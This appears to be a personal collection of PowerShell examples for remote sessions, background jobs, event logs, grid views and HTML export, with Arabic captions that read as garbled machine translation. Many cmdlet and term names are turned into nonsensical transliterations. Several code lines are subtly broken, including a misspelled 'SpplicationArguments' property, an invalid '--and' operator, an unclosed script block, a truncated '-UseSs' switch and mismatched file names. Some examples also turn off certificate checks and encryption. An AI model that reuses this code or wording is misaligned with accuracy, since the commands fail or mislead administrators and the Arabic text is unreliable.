Invoke-Command -Session $s -ScriptBlock {$p.VirtualMemorySize}
تشغيل أمر واحد على العديد من أجهزة الكمبيوتر
Invoke-Command -ComputerName Server01, Server02, TST-0143, localhost -ConfigurationName MySession.PowerShell -ScriptBlock {Get-EventLog "Windows PowerShell"}
الحصول على إصدار البرنامج المضيف على أجهزة كمبيوتر متعددة
$version = Invoke-Command -ComputerName (Get-Content Machines.txt) -ScriptBlock {(Get-Host).Version}
تشغيل مهمة خلفية على عدة أجهزة كمبيوتر عن بعد
$s = New-PSSession -ComputerName Server01, Server02
Invoke-Command -Session $s -ScriptBlock {Get-EventLog system} -AsJob
$j = Get-Job
$j | Format-List -Property *
ضمين المتغيرات المحلية في أمر تشغيل على كمبيوتر بعيد
$MWFO_Log = "Microsoft-Windows-Forwarding/Operational"
Invoke-Command -ComputerName Server01 -ScriptBlock {Get-EventLog -LogName $Using:MWFO_Log -Newest 10}
إخفاء اسم الكمبيوتر
Invoke-Command -ComputerName S1, S2 -ScriptBlock {Get-Process PowerShell}
Invoke-Command -ComputerName S1, S2 -ScriptBlock {Get-Process PowerShell} -HideComputerName
تشغيل برنامج نصي على كافة أجهزة الكمبيوتر المدرجة في ملف نصي
Invoke-Command -ComputerName (Get-Content Servers.txt) -FilePath C:\Scripts\Sample.ps1 -ArgumentList Process, Service
تشغيل أمر على كمبيوتر بعيد باستخدام أوري
$LiveCred = Get-Credential
Invoke-Command -ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.exchangelabs.com/PowerShell -Credential $LiveCred -Authentication Basic -ScriptBlock {Set-Mailbox Dan -DisplayName "Dan Park"}
إدارة إعادة توجيه أوري في أمر بعيد
$max = New-PSSessionOption -MaximumRedirection 1
Invoke-Command -ConnectionUri https://ps.exchangelabs.com/PowerShell -ScriptBlock {Get-Mailbox dan} -AllowRedirection -SessionOption $max
استخدام خيار جلسة عمل
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
Invoke-Command -ComputerName server01 -UseSSL -ScriptBlock { Get-HotFix } -SessionOption $so -Credential server01\user01
الوصول إلى مشاركة شبكة في جلسة بعيدة
Enable-WSManCredSSP -Delegate Server02
Connect-WSMan Server02
Set-Item WSMan:\Server02*\Service\Auth\CredSSP -Value $True
$s = New-PSSession Server02
Invoke-Command -Session $s -ScriptBlock {Get-Item \\Net03\Scripts\LogFiles.ps1} -Authentication CredSSP -Credential Domain01\Admin01
إنشاء جلسة عمل على كمبيوتر بعيد
$Server01 = New-PSSession -ComputerName Server01
إنشاء جلسات على أجهزة كمبيوتر متعددة
$s1, $s2, $s3 = New-PSSession -ComputerName Server01,Server02,Server03
إنشاء جلسة عمل باستخدام منفذ محدد
New-PSSession -ComputerName Server01 -Port 8081 -UseSSL -ConfigurationName E12
إنشاء جلسة استنادا إلى جلسة عمل موجودة
New-PSSession -Session $s -Credential Domain01\User01
نشاء جلسة ذات نطاق عام في نطاق مختلف
$global:s = New-PSSession -ComputerName Server1.Domain44.Corpnet.Fabrikam.com -Credential Domain01\Admin01
إنشاء جلسات لكثير من أجهزة الكمبيوتر
$rs = Get-Content C:\Test\Servers.txt | New-PSSession -ThrottleLimit 50
إنشاء جلسة عمل باستخدام عنوان أوري
$s = New-PSSession -URI http://Server01:91/NewSession -Credential Domain01\User01
تشغيل مهمة خلفية في مجموعة من الجلسات
$s = New-PSSession -ComputerName (Get-Content Servers.txt) -Credential Domain01\Admin01 -ThrottleLimit 16
Invoke-Command -Session $s -ScriptBlock {Get-Process PowerShell} -AsJob
نشاء جلسة لجهاز كمبيوتر باستخدام معرف موارد منتظم (أوري) الخاص به
New-PSSession -ConnectionURI https://management.exchangelabs.com/Management
الحصول على جلسات متصلة بالكمبيوتر المحلي
Get-PSSession -ComputerName "localhost"
الحصول على جلسات متصلة بجهاز كمبيوتر
Get-PSSession -ComputerName "Server02"
إنشاء دالة تقوم بحذف جميع الجلسات في الجلسة الحالية
Function EndPSS { Get-PSSession | Remove-PSSession }
الحصول على أحداث من سجل النظام على الكمبيوتر المحلي
$j = Start-Job -ScriptBlock {Get-EventLog -Log system} -Credential domain01\user01
$j | Format-List -Property *
$j.JobStateInfo.state
$results = Receive-Job -Job $j
$results
تشغيل البرنامج النصي كمهمة خلفية
Start-Job -FilePath "c:\scripts\sample.ps1" ____________________________________
الحصول على عملية بالاسم باستخدام مهمة الخلفية
Start-Job -Name "WinRm" -ScriptBlock {Get-Process winrm}
جمع وحفظ البيانات باستخدام وظيفة الخلفية
Start-Job -Name GetMappingFiles -InitializationScript {Import-Module MapFunctions} -ScriptBlock {Get-Map -Name * | Set-Content D:\Maps.tif} -RunAs32
بدأت جميع وظائف الخلفية في الدورة الحالية
Get-Job
إيقاف وظيفة باستخدام معرف مثيل
$j = Get-Job -Name Job1
$ID = $j.InstanceID
$ID
احصل على وظائف تتضمن أمر محدد
Get-Job -Command "*get-process*"
الحصول على الوظائف التي لم يتم تعيين اسم
Get-Job -Name Job*
استخدام كائن مهمة لتمثيل المهمة في أمر
Start-Job -ScriptBlock {Get-Process} -Name MyJob
$j = Get-Job -Name MyJob
$j
للحصول على نتائج المهمة.
Receive-Job -Job $j
الحصول على جميع الوظائف بما في ذلك الوظائف التي كتبها طريقة مختلفة
Start-Job -ScriptBlock {Get-EventLog System}
Invoke-Command -ComputerName S1 -ScriptBlock {Get-EventLog System} -AsJob
Invoke-Command -ComputerName S2 -ScriptBlock {Start-Job -ScriptBlock {Get-EventLog System}}
______
يستخدم الأمر الرابع ** جيت-جوب ** للحصول على الوظائف المخزنة على الكمبيوتر المحلي. ** الخاصية بسجوبتيبنام ** الوظائف، التي أدخلت في ويندوز بويرشيل 3.0، يدل على أن المهمة المحلية بدأت باستخدام ** بدء العمل ** كمدليت هو مهمة الخلفية وبدأت المهمة في جلسة عمل عن بعد باستخدام ** استدعاء القيادة ** كمدليت هو وظيفة عن بعد.
Get-Job
______
Invoke-Command -ComputerName S2 -ScriptBlock {Start-Job -ScriptBlock {Get-EventLog System}}
التحقيق في وظيفة فاشلة
Start-Job -ScriptBlock {Get-Process}
(Get-Job).JobStateInfo | Format-List -Property *
عرض جميع الخصائص في كائن المهمة يظهر أن المهمة تحتوي على وظيفة طفل اسمها Job2.
Get-Job | Format-List -Property *
(Get-Job -Name job2).JobStateInfo.Reason
لأمر الأول يحصل على وظائف في الدورة الحالية. الإخراج يتضمن وظيفة خلفية، وظيفة عن بعد والعديد من الحالات من وظيفة مجدولة. يبدو أن الوظيفة البعيدة، Job4، قد فشلت
Get-Job
الحصول على نتائج لوظيفة معينة
$job = Start-Job -ScriptBlock {Get-Process}
Receive-Job -Job $job
$job = Start-Job -ScriptBlock {Get-Process}
$job | Receive-Job
يحتوي كائن المهمة على ثلاث وظائف فرعية، واحدة لكل وظيفة على كل كمبيوتر بعيد.
$j = Invoke-Command -ComputerName Server01, Server02, Server03 -ScriptBlock {Get-Service} -AsJob
$j.ChildJobs
هذه الأوامر الحصول على نتائج واحدة من عدة وظائف خلفية تعمل على أجهزة الكمبيوتر البعيدة.
مثال 4: الحصول على نتائج وظائف الخلفية على أجهزة الكمبيوتر البعيدة متعددة
$s = new-pssession -computername Server01, Server02, Server03
$j = invoke-command -session $s -scriptblock {start-job -scriptblock {get-eventlog -logname system}}
$results = Invoke-Command -Session $s -ScriptBlock {Receive-Job -Job $Using:j}
إيقاف وظيفة على كمبيوتر بعيد باستخدام إنفوك-كوماند
$s = New-PSSession -ComputerName Server01 -Credential Domain01\Admin02
PS C:\> $j = Invoke-Command -Session $s -ScriptBlock {Start-Job -ScriptBlock {Get-EventLog System}}
PS C:\> Invoke-Command -Session $s -ScriptBlock { Stop-job -Job $Using:j }
إيقاف وظيفة الخلفية
Stop-Job -Name "Job1"
Stop-Job -Id 1, 3, 4
إيقاف جميع وظائف الخلفية
Get-Job | Stop-Job
Stop-Job -State Blocked
يقاف مهمة على كمبيوتر بعيد
$j = Invoke-Command -ComputerName Server01 -ScriptBlock {Get-EventLog System} -AsJob
$j | Stop-Job -PassThru
انتظر بدء العمل على أجهزة الكمبيوتر عن بعد باستخدام
$s = New-PSSession Server01, Server02, Server03
Invoke-Command -Session $s -ScriptBlock {Start-Job -Name Date1 -ScriptBlock {Get-Date}}
$done = Invoke-Command -Session $s -Command {Wait-Job -Name Date1}
$done.Count
تحديد متى تنتهي مهمة الخلفية الأولى
$s = New-PSSession (Get-Content Machines.txt)
$c = 'Get-EventLog -LogName System | where {$_.EntryType -eq "error" --and $_.Source -eq "LSASRV"} | Out-File Errors.txt'
Invoke-Command -Session $s -ScriptBlock {Start-Job -ScriptBlock {$Using:c}
Invoke-Command -Session $s -ScriptBlock {Wait-Job -Any}
تعيين وقت الانتظار للوظائف على أجهزة الكمبيوتر البعيدة
$s = New-PSSession Server01, Server02, Server03
$jobs = Invoke-Command -Session $s -ScriptBlock {Start-Job -ScriptBlock {Get-Date}}
$done = Invoke-Command -Session $s -ScriptBlock {Wait-Job -Timeout 30}
انتظر حتى تنتهي واحدة من عدة وظائف
Wait-Job -id 1,2,5 -Any
انتظر لفترة، ثم السماح للعمل على الاستمرار في الخلفية
Wait-Job -Name "DailyLog" -Timeout 120
لبدء جلسة تفاعلية مع Server01، كمبيوتر بعيد. عند بدء الجلسة، تتغير موجه الأوامر لتضمين اسم الكمبيوتر.
Enter-PSSession -Computer Server01
الإخراج إلى الملف Process.txt. يتم إرسال الأمر إلى الكمبيوتر البعيد، ويتم حفظ الملف على الكمبيوتر البعيد.
Get-Process Powershell > C:\ps-test\Process.txt
يوضح هذا الأمر كيفية العمل في جلسة تفاعلية مع كمبيوتر بعيد.
$s = New-PSSession -ComputerName Server01
Enter-PSSession -Session $s
بدء جلسة تفاعلية وتحديد معاملات بورت و كريدنتيال
Enter-PSSession -ComputerName Server01 -Port 90 -Credential Domain01\User01
يبدأ هذا الأمر جلسة تفاعلية مع الكمبيوتر Server01. يستخدم المعلمة المنفذ لتحديد المنفذ ومعامل الاعتماد لتحديد حساب مستخدم لديه إذن للاتصال بالكمبيوتر البعيد.
Enter-PSSession -ComputerName Server01
Exit-PSSession
بدء جلسة تفاعلية باستخدام سش
Enter-PSSession -HostName LinuxServer01 -UserName UserA
دء جلسة تفاعلية باستخدام سش وتحديد مفتاح المصادقة بورت والمستخدم
Enter-PSSession -HostName LinuxServer02 -UserName UserA -Port 22 -KeyFilePath c:\<path>\userAKey_rsa
استخدم الكلمة الرئيسية للخروج لإيقاف الجلسة
Enter-PSSession -computername Server01
exit
إنشاء خيار جلسة عمل افتراضية
New-PSSessionOption
تكوين جلسة عمل باستخدام كائن خيار جلسة عمل
$pso = New-PSSessionOption -Culture "fr-fr" -MaximumReceivedObjectSize 10MB
New-PSSession -ComputerName Server01 -SessionOption $pso
بدء جلسة تفاعلية
Enter-PSSession -ComputerName Server01 -SessionOption (New-PSSessionOption -NoEncryption -NoCompression)
تعديل كائن خيار الجلسة
$a = New-PSSessionOption
$a = New-PSSessionOption
$a.UICulture = (Get-UICulture)
$a.OpenTimeout = (New-Timespan -Minutes 4)
$a.MaximumConnectionRedirectionCount = 1
$a
$PSSessionOption = New-PSSessionOption -OpenTimeOut 120000
===============================================================================
الوفاء بمتطلبات تكوين جلسة عمل عن بعد
$skipCN = New-PSSessionOption -SkipCNCheck
New-PSSession -ComputerName 171.09.21.207 -UseSSL -Credential Domain01\User01 -SessionOption $SkipCN
لأنه يتم تعريف الكمبيوتر بواسطة عنوان إب الخاص به، لا تتطابق قيمة المعلمة كومبوترنام مع أي من الأسماء الشائعة في الشهادة المستخدمة ل طبقة المقابس الآمنة (سل). ونتيجة لذلك، مطلوب الخيار سكيبنشيك.
مثال 7: جعل الوسيطات متاحة لجلسة بعيدة
$team = @{Team="IT"; Use="Testing"}
$TeamOption = New-PSSessionOption -ApplicationArguments $team
$s = New-PSSession -ComputerName Server01 -SessionOption $TeamOption
Invoke-Command -Session $s {$PSSenderInfo.SpplicationArguments}
Invoke-Command -Session $s {if ($PSSenderInfo.ApplicationArguments.Use -ne "Testing") {.\logFiles.ps1} else {"Just testing."}}
==================================================================================
لكل عملية على الكمبيوتر
Get-Process | ForEach-Object {$_.ProcessName}
تقسيم الأعداد الصحيحة في مصفوفة
30000, 56798, 12432 | ForEach-Object -Process {$_/1024}
الحصول على طول كافة الملفات في دليل
Get-ChildItem $pshome | ForEach-Object -Process {if (!$_.PSIsContainer) {$_.Name; $_.Length / 1024; " " }}
تعمل على أحدث أحداث النظام
$Events = Get-EventLog -LogName System -Newest 1000
$events | ForEach-Object -Begin {Get-Date} -Process {Out-File -Filepath Events.txt -Append -InputObject $_.Message} -End {Get-Date}
******************************************************************************************************
عرض المعلمة بيجين التاريخ والوقت الحاليين. بعد ذلك، تستخدم معلمة بروسيس كمدليت أوت-فيل لإنشاء ملف نصي يسمى events.txt وتخزين خاصية الرسالة لكل من الأحداث في ذلك الملف. أخيرا، يتم استخدام المعلمة إند لعرض التاريخ والوقت بعد اكتمال كل المعالجة.
مثال : تغيير قيمة مفتاح التسجيل
Get-ItemProperty -Path HKCU:\Network\* | ForEach-Object {Set-ItemProperty -Path $_.PSPath -Name RemotePath -Value $_.RemotePath.ToUpper();}
استخدم المتغير التلقائي $ نول
1, 2, $null, 4 | ForEach-Object {"Hello"}
الحصول على قيم الخاصية
Get-Module -List | ForEach-Object -MemberName Path
Get-Module -List | Foreach Path
تقسيم أسماء الوحدات إلى أسماء المكونات
"Microsoft.PowerShell.Core", "Microsoft.PowerShell.Host" | ForEach-Object {$_.Split(".")}
"Microsoft.PowerShell.Core", "Microsoft.PowerShell.Host" | ForEach-Object -MemberName Split -ArgumentList "."
"Microsoft.PowerShell.Core", "Microsoft.PowerShell.Host" | Foreach Split "."
تقوم المعلمة غروببي بترتيب البيانات حول العمليات إلى مجموعات استنادا إلى قيمة خاصية باسبريوريتي الخاصة بهم. تضمن المعلمة وراب عدم اقتطاع البيانات.
Get-Process | Sort-Object starttime | Format-Table -View starttime
يقوم هذا العرض بتحويل ستارتيمي للعملية إلى تاريخ قصير ثم يقوم بتجميع العمليات حسب تاريخ البدء.
Get-Service | Format-Table -Property Name, DependentServices
تنسيق عملية وحساب وقت تشغيلها
Get-Process Notepad | Format-Table ProcessName, @{Label="TotalRunningTime"; Expression={(Get-Date) - $_.StartTime}}
تم تحديد الخاصية توتالرونينغتيم بواسطة جدول تجزئة مع مفتاحين، التسمية والتعبير. يتم تعيين اسم الخاصية إلى مفتاح
$Processes = Get-WmiObject -ComputerName "Server01" -Class win32_process -Filter "name='notepad.exe'"
$Processes | Format-Table ProcessName, @{ Label = "Total Running Time"; Expression={(Get-Date) - $_.ConvertToDateTime($_.CreationDate)}}
خارج الطابعة بإرسال الإخراج إلى الطابعة الافتراضية أو إلى طابعة بديلة، إذا تم تحديد واحد.
Get-Content $pshome\about_signing.help.txt | Out-Printer
للحصول على محتويات موضوع التعليمات. يتضمن المسار $ بشوم، وهو متغير مدمج يقوم بتخزين دليل التثبيت لنظام التشغيل ويندوز بويرشيل. يقوم مشغل خط أنابيب (|) بتمرير النتائج إلى طابعة خارجية، والتي ترسلها إلى الطابعة الافتراضية.
"Hello, World" | Out-Printer -Name "\\Server01\Prt-6B Color"
أوامره يطبع مرحبا، العالم إلى برت-6B طابعة ملونة على Server01. يستخدم هذا الأمر معلمة الاسم لتحديد الطابعة البديلة. لأن اسم المعلمة اختياري، يمكنك حذفه.
$H = Get-Help -Full Get-WmiObject
Out-Printer -InputObject $H
*****************************************************************************************************
عمليات الإخراج إلى عرض الشبكة
Get-Process | Out-GridView
*********************************************************************************************************
هذا الأمر يحصل على العمليات التي تعمل على الكمبيوتر المحلي ويرسلها إلى إطار عرض الشبكة.
مثال 2: استخدام متغير لإخراج العمليات إلى طريقة عرض الشبكة
$P = Get-Process
$P | Out-GridView
*********
أمره أيضا يحصل على العمليات التي تعمل على الكمبيوتر المحلي ويرسلها إلى نافذة عرض الشبكة.
Get-Process | Select-Object -Property Name, WorkingSet, PeakWorkingSet | Sort-Object -Property WorkingSet -Descending | Out-GridView
*********************************************************************************************************///////////////
حفظ الإخراج إلى متغير، ثم إخراج عرض الشبكة
($A = Get-ChildItem -Path $pshome -Recurse) | Out-GridView
**********************************************************************************************************////////////////
عمليات إخراج لجهاز كمبيوتر محدد إلى طريقة عرض الشبكة
Get-Process -ComputerName "Server01" | ogv -Title "Processes - Server01"
إخراج البيانات من أجهزة الكمبيوتر البعيدة إلى عرض الشبكة
Invoke-Command -ComputerName S1, S2, S3 -ScriptBlock {Get-Culture} | Out-GridView
تشغيلها عن بعد لا يتضمن الأمر أوت-غريدفيو. إذا فعل ذلك، الأمر سوف تفشل عندما حاول فتح نافذة عرض الشبكة على كل من أجهزة الكمبيوتر البعيدة
Get-Process | Out-GridView -PassThru | Export-Csv -Path .\ProcessLog.csv
أمره يتيح لك تحديد عمليات متعددة من النافذة خارج الشبكة. يتم تمرير العمليات التي تحددها إلى الأمر إكسبورت-كسف وكتب إلى الملف ProcessLog.csv.
Powershell.exe -Command "Get-Service | Out-GridView -Wait"
الاشتراك في الأحداث عند بدء عملية جديدة
$Query = New-Object System.Management.WqlEventQuery "__InstanceCreationEvent", (New-Object TimeSpan 0,0,1), "TargetInstance isa 'Win32_Process'"
$ProcessWatcher = New-Object System.Management.ManagementEventWatcher $Query
Register-ObjectEvent -InputObject $ProcessWatcher -EventName "EventArrived"
الاشتراك في أحداث الكائن على أجهزة الكمبيوتر البعيدة
$S = New-PSSession -ComputerName "Server01, Server02"
Invoke-Command -Session $S -FilePath ProcessCreationEvent.ps1
Invoke-Command -Session $S { get-event }# ProcessCreationEvent.ps1function Enable-ProcessCreationEvent{ $Query = New-Object System.Management.WqlEventQuery "__InstanceCreationEvent", `
(New-Object TimeSpan 0,0,1), `
"TargetInstance isa 'Win32_Process'" $ProcessWatcher = New-Object System.Management.ManagementEventWatcher $Query $Identifier = "WMI.ProcessCreated" Register-ObjectEvent -Input $ProcessWatcher -EventName "EventArrived" `
-SourceIdentifier $Identifier -MessageData "Test" -Forward}EnableProcessCreationEvent
الذي يشترك في أحداث إنشاء مثيل على كائن
$Timer = New-Object Timers.Timer
$Timer.Interval = 500
$Job = Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier Timer.Random -Action {$Random = Get-Random -Min 0 -Max 100}
$Job.gettype().fullnameSystem.Management.Automation.PSEventJob
$Job | Format-List -Property *
تسجيل حدث محرك بويرشيل على أجهزة الكمبيوتر البعيدة
$S = New-PSSession -ComputerName "Server01, Server02"
Invoke-Command -Session $S { Register-EngineEvent -SourceIdentifier ([System.Management.Automation.PsEngineEvent]::Exiting) -Forward }
اتخاذ إجراء محدد عند حدوث حدث الخروج
Register-EngineEvent -SourceIdentifier PowerShell.Exiting -SupportEvent -Action {
Get-History | Export-Clixml $Home\history.clixml
}
إنشاء صفحة ويب لعرض التاريخ
ConvertTo-Html -InputObject (Get-Date)
إنشاء صفحة ويب لعرض الأسماء المستعارة بويرشيل
Get-Alias | ConvertTo-Html > aliases.htm
Invoke-Item aliases.htm
هذا الأمر بإنشاء صفحة هتمل تسرد الأسماء المستعارة ويندوز بويرشيل في وحدة التحكم الحالية
إنشاء صفحة ويب لعرض أحداث بويرشيل
Get-EventLog -LogName "Windows PowerShell" | ConvertTo-Html > pslog.htm
الأمر بإنشاء صفحة هتمل تسمى pslog.htm تعرض الأحداث في سجل أحداث ويندوز بويرشيل على الكمبيوتر المحلي.
Get-Process | ConvertTo-Html -Property Name, Path, Company -Title "Process Information" > proc.htm; ii proc.htm
إنشاء صفحة ويب لعرض كائنات الخدمة
Get-Service | ConvertTo-Html -CssUri "test.css"
إنشاء صفحة ويب لعرض كائنات الخدمة
Get-Service | ConvertTo-Html -As LIST > services.htm
إنشاء جدول ويب للتاريخ الحالي
Get-Date | cth -Fragment
إنشاء صفحة ويب لعرض أحداث بويرشيل
Get-EventLog -Log "Windows PowerShell" | ConvertTo-Html -Property id, level, task
إنشاء صفحة ويب لعرض خدمات محددة
Get-Service A* | ConvertTo-Html -Title "Windows Services: Server01" -Body (get-date) -Pre
"<P>Generated by Corporate IT</P>" -Post "For details, contact Corporate IT." > services.htm; ii services.html
تعيين خصائص ميتا و تشارسيت من هتمل
Get-Service | ConvertTo-HTML -Meta @{refresh=10;author="Author's Name";keywords="PowerShell, HTML, ConvertTo-HTML"} -Charset "UTF-8"
يقوم أمره بإنشاء هتمل لصفحة ويب باستخدام العلامات الوصفية للتحديث والمؤلف والكلمات الرئيسية. تم تعيين مجموعة الأحرف للصفحة على أوتف-8
مثال تعيين هتمل إلى شتمل الانتقالية دتد
Get-Service | ConvertTo-HTML -Transitional
Export-Alias -Path "alias.csv" -Append -Description "Appended Aliases" -Force
لأنه يتم تحديد المعلمة نوكلوبر، الأمر سوف تفشل إذا كان ملف Alias.csv موجود بالفعل في الدليل الحالي.
إلحاق الأسماء المستعارة بملف
تصدير الأسماء المستعارة كبرنامج نصي
Export-Alias -Path "alias.ps1" -As Script
Add-Content -Path $Profile -Value (Get-Content alias.ps1)
$S = New-PSSession -ComputerName Server01
Invoke-Command -Session $S -FilePath .\alias.ps1
Get-Date -DisplayHint Date
Get-Date -Format g
Get-Date -UFormat "%Y / %m / %d / %A / %Z"
(Get-Date -Year 2000 -Month 12 -Day 31).DayOfYear
$a = Get-Date
$a.IsDaylightSavingTime()
$a = Get-Date
$a.ToUniversalTime()
$a = Get-WmiObject Win32_Bios -Computer Server01
$a | Format-List -Property Name, @{Label="BIOS Age";Expression={(Get-Date) - $_.ConvertToDateTime($_.ReleaseDate)}}
Get-Date | Add-Content Test.txt
الحصول على برويسس عشوائي
Get-Process | Get-Random
أوامر التصدير من كمبيوتر بعيد
$S = New-PSSession -ComputerName Server01 -Credential Server01\User01
Export-PSSession -Session $S -OutputModule TestCmdlets -Type cmdlet -CommandName *test* -FormatTypeName *
Remove-PSSession $S
Import-Module TestCmdlets
Get-Help Test*
Test-Files
يصدر أمره جميع الأوامر وجميع بيانات التنسيق من بسسيون في المتغير $ S في الدورة الحالية. يستخدم الأمر معامل ألوكلوبر لتضمين الأوامر بنفس الأسماء مثل الأوامر في الجلسة الحالية.
أوامر التصدير من بسسيون مغلقة
$Options = New-PSSessionOption -NoMachineProfile
$S = New-PSSession -ComputerName "Server01" -SessionOption $Options
Export-PSSession -Session $S -OutputModule Server01
Remove-PSSession $S
New-PSSession -ComputerName "Server01" -SessionOption $Options
Import-Module Server01
استيراد كافة الأوامر من بسسيون
$S = New-PSSession -ComputerName Server01
Import-PSSession -Session $S
ضافة إلى الدورة الحالية، يمكنك استخدام بناء الجملة المحلي لتشغيلها. لا تحتاج إلى استخدام كمدليت إنفوك-كوماند لتشغيل أمر تم استيراده
$S1 = New-PSSession -ComputerName s1
$S2 = New-PSSession -ComputerName s2
Import-PSSession -Session s1 -Type cmdlet -Name New-Test, Get-Test -FormatTypeName *
Import-PSSession -Session s2 -Type Cmdlet -Name Set-Test -FormatTypeName *
New-Test Test1 | Set-Test -RunType Full
وماند، توقف ويندوز بويرشيل الأمر الذي يقوم بإنشاء الكائنات بمجرد إنشاء العدد المحدد من الكائنات، حتى عندما يظهر الأمر الذي ينشئ الكائنات قبل الأمر تحديد كائن في خط الأنابيب. لإيقاف هذا السلوك الأمثل، استخدم معلمة الانتظار
Get-Process | Select-Object -Property ProcessName, Id, WS
يؤدي هذا الأمر إلى إنشاء الكائنات التي تحتوي على خصائص الاسم و إد و مجموعة العمل (وس) لكائنات العملية.
مثال 2: تحديد الكائنات حسب الخاصية وتنسيق النتائج
Get-Process Explorer | Select-Object -Property ProcessName -ExpandProperty Modules | Format-List
كمدليت لتحديد أسماء العمليات. لأن الخاصية الوحدات النمطية يحتوي على كائن مودولبروسيس يحتوي على العديد من الخصائص يستخدم الأمر معلمة إكساندبروبيرتي للحصول على خصائص الكائنات في خاصية الوحدات النمطية لكل عملية. يستخدم الأمر كمدليت تنسيق قائمة لعرض اسم وحدات كل عملية في قائمة.حدد العمليات باستخدام معظم الذاكرة
Get-Process | Sort-Object -Property WS | Select-Object -Last 5
معلمة الانتظار غير مطلوبة في الأوامر التي تتضمن كمدليت سورت-أوبجيكت لأن سورت-أوبجيكت يعالج كافة الكائنات ثم يقوم بإرجاع مجموعة. يتوفر خيار تحديد الكائن فقط للأوامر التي تعيد الكائنات بشكل فردي عند معالجتها.
حدد اسم وبدء يوم العمليات
Get-Process | Select-Object -Property ProcessName,@{Name="Start Day"; Expression = {$_.StartTime.DayOfWeek}}
_______________________________________________________________^^^^^^^^^^^^^^^^^^^^^^^^^^
"a","b","c","a","a","a" | Select-Object -Unique
يستخدم الأمر الخاص به المعلمة الفريدة من تحديد كائن للحصول على أحرف فريدة من مجموعة من الأحرف.
حدد الأحداث الأحدث والأقدم في سجل الأحداث
$A = Get-Eventlog -Log "Windows PowerShell"
$A | Select-Object -Index 0, ($A.count - 1)
يستخدم الأمر الثاني مشغل خط أنابيب (|) لإرسال الأحداث في $ A إلى كمدليت حدد كائن. يستخدم الأمر سيليكت-أوبجيكت معامل الفهرس لتحديد الأحداث من صفيف الأحداث في المتغير $ A. مؤشر الحدث الأول هو 0. فهرس الحدث الأخير هو عدد العناصر في $ A ناقص 1.
حدد كل الكائن الأول
New-PSSession -ComputerName (Get-Content Servers.txt | Select-Object -Skip 1)
يمكنك تحديد خاصية واحدة أو خصائص متعددة، لفرز متعدد المفاتيح، ويمكنك تحديد نوع حساس لحالة الأحرف أو لحالة الأحرف. يمكنك أيضا توجيه سورت-أوبجيكت لعرض الكائنات ذات القيمة الفريدة لموقع معين فقط.
Get-ChildItem | Sort-Object
يعرض هذا الأمر الملفات الموجودة في الدليل الحالي بترتيب تصاعدي حسب طول الملف.
Get-Process | Sort-Object -Property WS | Select-Object -Last 5
يقوم مشغل خط أنابيب آخر بإرسال النتائج إلى كائن تحديد، الذي يعرض فقط العناصر الخمسة الأخيرة في القائمة.
Get-History | Sort-Object -Descending
يقوم هذا الأمر بفرز عناصر هيستوريينفو باستخدام الخاصية إد كمفتاح افتراضي.
Get-Service | Sort-Object -Property @{Expression = "Status"; Descending = $True}, @{Expression = "DisplayName"; Descending = $False}
فرز الملفات النصية حسب الفترة الزمنية
Get-ChildItem *.txt | Sort-Object -Property @{Expression={$_.LastWriteTime - $_.CreationTime}; Ascending = $False} | Format-Table LastWriteTime, CreationTime
يحدد هذا الأمر نقطة توقف على متغير الخادم في البرنامج النصي Sample.ps1. يستخدم المعلمة مود مع قيمة ريادوريت لإيقاف التنفيذ عند قراءة قيمة المتغير وقبل تغيير القيمة.
Set-PSBreakpoint -Script Sample.ps1 -Command "write*"
تعيين نقطة توقف اعتمادا على قيمة متغير
Set-PSBreakpoint -Script "test.ps1" -Command "DiskTest" `
-Action { if ($Disk -gt 2) { break } }
تعيين نقطة توقف على وظيفة
Set-PSBreakpoint -Command "checklog"
إرسال بريد إلكتروني إلى قائمة بريدية
Send-MailMessage -To "User01 <user01@example.com>" -From "ITGroup <itdept@example.com>" -Cc "User02 <user02@example.com>" -bcc "ITMgr <itmgr@example.com>" -Subject "Don't forget today's meeting!" -Credential domain01\admin01 -UseSs
الحصول على سجلات الأحداث على الكمبيوتر المحلي
Get-EventLog -List
أمره يحصل على سجلات الأحداث على الكمبيوتر المحلي.
الحصول على أحدث خمس إدخالات من سجل أحداث معين على الكمبيوتر المحلي
Get-EventLog -Newest 5 -LogName "Application"
يحصل هذا الأمر على أحدث خمس إدخالات من سجل أحداث التطبيق.
البحث عن جميع المصادر التي يتم تمثيلها في عدد محدد من الإدخالات في سجل الأحداث
$Events = Get-Eventlog -LogName system -Newest 1000
$Events | Group-Object -Property source -noelement | Sort-Object -Property count -Descending
******************************************************************************************************************^^^^^^^^^^^^^
يوضح مثاله كيفية العثور على كافة المصادر التي يتم تمثيلها في 1000 الإدخالات الأخيرة في سجل أحداث النظام.
يحصل الأمر الأول على أحدث 1،000 إدخالات من سجل أحداث النظام ويخزنها في متغير الأحداث $.
المصدر هو خاصية واحدة فقط من إدخالات سجل الأحداث. لمشاهدة كافة خصائص إدخال سجل الأحداث، إدخال إدخالات سجل الأحداث إلى كمدليت جيت-ميمبر.
الحصول على أحداث خطأ من سجل أحداث معين
Get-EventLog -LogName System -EntryType Error
************************************************************************************************************
يحصل الأمر الخاص به فقط أحداث خطأ من سجل أحداث النظام.
الحصول على الأحداث من سجل أحداث معين مع معرف مثيل وقيمة المصدر
Get-EventLog -LogName System -InstanceID 3221235481 -Source "DCOM"
*********************************************************************************************************
يحصل هذا الأمر الأحداث من سجل النظام التي تحتوي على إنستانسيد من 3221235481 وقيمة مصدر دسوم.
احصل على أحداث سجل الأحداث من أجهزة كمبيوتر متعددة
Get-EventLog -LogName "Windows PowerShell" -ComputerName "localhost", "Server01", "Server02"
يحصل هذا الأمر الأحداث من سجل أحداث ويندوز بويرشيل على أجهزة الكمبيوتر الثلاثة، Server01، Server02، والكمبيوتر المحلي، والمعروفة باسم لوكالهوست.
الحصول على كافة الأحداث في سجل الأحداث التي تتضمن كلمة معينة في قيمة الرسالة
Get-EventLog -LogName "Windows PowerShell" -Message "*failed*"
يحصل هذا الأمر على كافة الأحداث في سجل أحداث ويندوز بويرشيل التي تحتوي على قيمة رسالة تتضمن فشل الكلمة.
عرض قيم الخاصية لحدث في ليس
$A = Get-EventLog -Log System -Newest 1
$A | Format-List -Property *
احصل على الأحداث من سجل الأحداث باستخدام معرف المصدر والحدث
Get-EventLog -Log "Application" -Source "Outlook" | where {$_.eventID -eq 34}
